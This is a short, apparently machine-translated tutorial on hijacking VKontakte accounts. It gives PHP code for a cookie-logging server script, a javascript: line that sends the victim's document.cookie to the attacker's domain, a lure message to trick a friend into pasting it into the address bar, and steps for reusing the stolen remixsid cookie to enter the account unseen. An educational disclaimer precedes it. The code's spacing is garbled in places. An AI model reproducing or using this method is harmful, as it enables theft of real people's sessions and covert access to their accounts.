Hacking VK (not phishing!)

[Mutt]

This material is provided for educational purposes only and was created as part of the study of information security.
The author did not publish material for malicious purposes.
If someone uses the information for personal gain, then the author is not responsible for any harm or damage caused.

Today we will consider a way to hack VK, which is available to everyone.

• First, we need to rent an ftp server.
• On this very server, create a folder, call it "next".
• Select this folder and press the "chmod" button, checkboxes will appear, poke at everything and press save.
• Inside the folder, create an index.php file

Next, open and write the sniffer:

<? php

// get data from the link

$ cookie = $ _SERVER ['REQUEST_URI'];

// ip address

$ ip = $ _SERVER ['REMOTE_ADDR'];

// Create a file
$ file = fopen ("snif.dat", "a +");

// calculate the current time

$ time = date ("H: i: M: d");

// add cookies + time + ip to the string variable

$ add_text = "$ ip $ time $ cookie";

// write data to file

fputs ($ file, $ add_text. ", \ r \ n");

// close the file

fclose ($ file);

// so as not to burn, we transfer the user back to VK

header ('Location: https: //vk.com');

?>

The sniffer is ready.
We should get a link like this:

http: //your_domain.ru/next/index.php

Next, open any text editor (for example, notepad) and write:

javascript: window.location.href = "http: //your_domain.ru/next/index.php? cookie =" + document.cookie;

And we throw it off to our friend.
We write to him for example:
"If you put this in the address bar, it will snow on your page or all your photos on the page will have 10,000 likes!"

Here the approach to everyone is different, you need to use a little SI .
If he runs this script in the address bar, he will immediately be transferred to the Vkontakte start page. No snow, of course, will go there for him, but on the server we will have a date file with his cookies.

Next, we need to replace the gone cookies.
The easiest way:
Open the Opera browser> Settings> General settings> Advanced> Cookies Opera Cookies.

You only need to change the value of the remixsid cookie parameter.
We refresh the page and immediately enter another account, without any username and password. At the same time, our friend will not know that we have entered his page. Choose the methods of anonymity yourself. So it goes.